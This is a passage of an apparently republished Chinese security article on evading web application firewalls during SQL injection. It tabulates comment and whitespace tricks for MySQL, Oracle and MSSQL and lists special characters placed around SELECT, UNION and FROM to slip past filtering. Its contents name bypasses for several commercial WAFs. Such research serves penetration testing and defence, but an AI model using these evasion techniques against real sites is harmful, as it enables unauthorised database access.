</p>


<p><img class="__bg_gif" data-ratio="0.11875" title="1444706553487851.gif" data-type="gif" data-w="640" style="font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;line-height: 25.6px;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;width: 640px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=1e1426cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FjKzAUW2rMBwxibGWwbR9NTzicF72uArHzAW1ibKdMA8BUoTSUwE4M37diacWVMETWetDDemg6wh2D1GNLTGWybYV7g%2F640%3Fwx_fmt%3Dgif"/></p><section style="white-space: normal;max-width: 100%;box-sizing: border-box;line-height: 25.6px;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin-top: 10px;margin-bottom: 10px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="padding-right: 1em;padding-left: 1em;max-width: 100%;box-sizing: border-box;display: inline-block;text-align: center;overflow-wrap: break-word !important;"><span style="padding: 0.3em 0.5em;max-width: 100%;box-sizing: border-box;display: inline-block;border-radius: 0.5em;font-size: 14.08px;color: rgb(255, 255, 255);background-color: rgb(24, 141, 42);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">文章目录</span></section></span> </section><section style="margin-top: -1em;padding: 20px 10px 10px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(192, 200, 209);text-align: center;background-color: rgb(239, 239, 239);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;text-align: left;overflow-wrap: break-word !important;"><ol class="list-paddingleft-2" style="margin: 0.5em;width: 577.422px;line-height: 1.8em;"><li style="list-style-type: none;"><p>1. 前言</p></li><li style="list-style-type: none;"><p>2. 正文</p></li><p>    2.1. 老树<br/></p><ol class="list-paddingleft-2" style="width: 539.484px;text-align: left;white-space: normal;background-color: rgb(239, 239, 239);list-style-type: lower-alpha;"><li style="list-style-type: none;"><p>2.1.1. 注释</p></li><li style="list-style-type: none;"><p>2.1.2. 功能特性</p></li><li style="list-style-type: none;"><p>2.1.3. 等价替换</p></li></ol><p><span style="text-align: left;background-color: rgb(239, 239, 239);">    2.2.</span><span style="text-align: left;background-color: rgb(239, 239, 239);"> </span><span style="text-align: left;background-color: rgb(239, 239, 239);">核心</span><br/></p><ol class="list-paddingleft-2" style="width: 539.484px;text-align: left;white-space: normal;background-color: rgb(239, 239, 239);list-style-type: lower-alpha;"><li style="list-style-type: none;"><p>2.2.1. 目标</p></li><li style="list-style-type: none;"><p>2.2.2. 战略</p></li><li style="list-style-type: none;"><p>2.2.3. 实战</p></li></ol><p><span style="text-align: left;background-color: rgb(239, 239, 239);">    2.3.</span><span style="text-align: left;background-color: rgb(239, 239, 239);"> </span><span style="text-align: left;background-color: rgb(239, 239, 239);">新花</span><span style="text-align: left;background-color: rgb(239, 239, 239);"></span><br/></p><ol class="list-paddingleft-2" style="list-style-type: lower-alpha;"><li style="list-style-type: none;"><p>2.3.1. CloudFlare绕过</p></li><li style="list-style-type: none;"><p>2.3.2. 安全狗绕过</p></li><li style="list-style-type: none;"><p>2.3.3. 云锁绕过</p></li><li style="list-style-type: none;"><p>2.3.4. 阿里云绕过</p></li></ol><p>    <span style="text-align: left;background-color: rgb(239, 239, 239);">2.4.</span><span style="text-align: left;background-color: rgb(239, 239, 239);"> </span><span style="text-align: left;background-color: rgb(239, 239, 239);">利用</span><br/></p><li style="list-style-type: none;"><p>3. 结语</p></li><li style="list-style-type: none;"><p>4. 参考</p></li></ol></section></section></section></section></section></section></section><h1 style="font-size: 2em;margin-top: 0.67em;margin-bottom: 0.67em;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;text-size-adjust: auto;"><strong>1 前言</strong></h1><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background-color: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">WAF(Web Application Firewall)对于从事信息安全领域的工作者来说并不陌生，在渗透测试一个目标的时候常常作为拦路虎让人头痛不已，笔者这段时间花了些精力对国内外比较常见的WAF进行了绕过研究，这只拦路虎其实也并没有想象中那么可怕。本文从SQL语法层面入手，以国内外主流 waf为研究测试对象，借助fuzz、逆向等各种技术手段，挖掘组合各种SQL功能语法，无视操作系统、中间件、计算机语言等差异硬杠WAF，欢迎私信交流。</code></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="1.80859375" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="512" src="https://wechat2rss.xlab.app/img-proxy/?k=11540ad5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQ5825qWJbTr2cBJ0r38jbRKHTjdhMRkopwrar8GTpBc8OX8wUuibWQ6g%2F640%3Fwx_fmt%3Dpng"/><br/></p><h1 style="font-size: 2em;margin-top: 0.67em;margin-bottom: 0.67em;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;text-size-adjust: auto;"><strong>2 正文</strong></h1><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background-color: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">WAF（Web Application Firewall）的中文名称叫做“Web应用防火墙”，根据不同的分类方法可分为很多种，从产品形态上来划分主要分为三大类：硬件类（绿盟、天融信、安恒的硬件waf）、软件类(安全狗、云锁、ModSecurity等)、基于云的waf(阿里云、创宇盾等)。软件类waf和云waf是本文的主角。安全策略和规则可以说是waf的灵魂，我们所说的绕waf就是无视他的策略和规则达到攻击成功的目的。</code></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.3249097472924188" style="display: inline;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=ab9a2a0f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQiasv9VPtQRibUueAcHUS7vhiaHb8dQjseocWjzjUfamofutlFTZMULgzw%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="margin-top: 1.4em;margin-bottom: 1.1em;border-bottom: 1px solid rgb(238, 238, 238);overflow: hidden;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;text-size-adjust: auto;"><strong><span style="font-size: 18px;">2.1 老树</span></strong><span style="font-size: 18px;"></span></h2><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">这一部分是SQL语法功能技巧的总结，也是WAF绕过的基础。</p><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;text-size-adjust: auto;"><strong>2.1.1 注释</strong></h3><table><thead><tr><th style="border-bottom-width: 2px;border-bottom-color: rgb(144, 155, 162);"><br/></th><th style="border-bottom-width: 2px;border-bottom-color: rgb(144, 155, 162);" width="172">MySQL</th><th style="border-bottom-width: 2px;border-bottom-color: rgb(144, 155, 162);" width="131">Oracle</th><th style="border-bottom-width: 2px;border-bottom-color: rgb(144, 155, 162);" width="113">MSSQL</th></tr></thead><tbody><tr><td>注释符</td><td width="172">/<em style="font-weight: bold;">*/、#、/</em>!<em style="font-weight: bold;">/、/</em>!50000xx*/、–、– - 、–+</td><td width="131">–、/**/ –%0a-</td><td width="113">–、/**/、–%0a-</td></tr><tr style="background-color: rgb(247, 248, 248);background-position: initial initial;background-repeat: initial initial;"><td>空白字符</td><td width="172">%09%0A%0B%0C%0D%20</td><td width="131">%00%09%0A%0B%0C%0D%20</td><td width="113">%00-%20</td></tr></tbody></table><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;white-space: normal;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;text-size-adjust: auto;"><strong>2.1.2 功能特性</strong></h3><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">select<span style="font-weight: bolder;">CHAR</span></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">SQL 查询语句select后面可以接一些特殊字符，这些字符与select相结合可以达到绕过waf目的，除了select 语句之外 union\from等关键字前后也可以连接一些特殊字符，这些关键值前后就可以作为fuzz的点。</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">【+】号：</p><p><img data-w="554" data-type="png" data-ratio="0.26173285198555957" src="https://wechat2rss.xlab.app/img-proxy/?k=491f1d13&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQpP0XJflexh9BUuP4DEcL6TPCeCyokV5bxpchBpibKAeQRUJSokwr8RQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">【-】号：</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.27075812274368233" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=e15e3770&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQGiaJRVcr4aLa8XXSMialKsJjvut2Wv8h0kkkpcVOHp8FMVXlnCpjibRuQ%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">【@】号：</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.27256317689530685" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=d6752c8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQibCAxfwIzNpQ8KVW2QU6GLaiafaGRDCo4uJXmLn8XVauC7ic1LzLCoR9Q%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">【！】号：</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.2743682310469314" data-w="554" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=db415aac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQrLTgSEMqemiaJjl1tBj0YdJDEGX4N8w3cQDFVzhn1VcTEwUFWaWPMYQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">【‘】号：</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><br/></p><p><img data-ratio="0.2743682310469314" data-w="554" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=cb54df2b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQe2E1IgFIQrzpP8UBYbWOt7P7OuqpqLoIpytCQTRgWOgWOmarG3cbBw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">【“】号：</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.27256317689530685" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=d243ae99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQUKl7RklhB1y8gURAt58qI4rThCYclnkLzBfxmwkZnfReZuBAXhdMIg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">【~】号：</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.27978339350180503" data-w="554" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=724b23e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQ8GgJMibWddwyjg0UF4h5gC6A4dfIJ4DGaG9QjQibfXx6xUUWGBkxd5Iw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">【{】号：</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img class="rich_pages" data-ratio="0.25226860254083483" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;" data-type="png" data-w="551" src="https://wechat2rss.xlab.app/img-proxy/?k=6013ac30&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQrAbmExvOoIsusNNfDdiaDibCJBsD4UBmSiaqicpiblV5c0h51VVU7GNJ5FA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">当然除以上字符，也可结合注释符–、/*、空白字符等。</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.14609053497942387" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="1944" src="https://wechat2rss.xlab.app/img-proxy/?k=b285dc33&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQ0xqOicoKHIeffYibEuJemGKrFRgd4rwFQvic7pa3OcSumMibIic6zCbLDHw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.3597328244274809" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="1048" src="https://wechat2rss.xlab.app/img-proxy/?k=e7ca07db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQFTXuVBktIdxuVbHncJCeKMjCz8fQASRfPYd7zib4bicMtEbRicJ8PKEZA%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">不仅仅mysql有这类的语法特性，mssql、oracle同样支持，这里就不一一介绍大家可以自行fuzz尝试</p><ul style="border-radius: 3px;margin-top: 1em;margin-bottom: 1em;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;" class="list-paddingleft-2"><li><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: 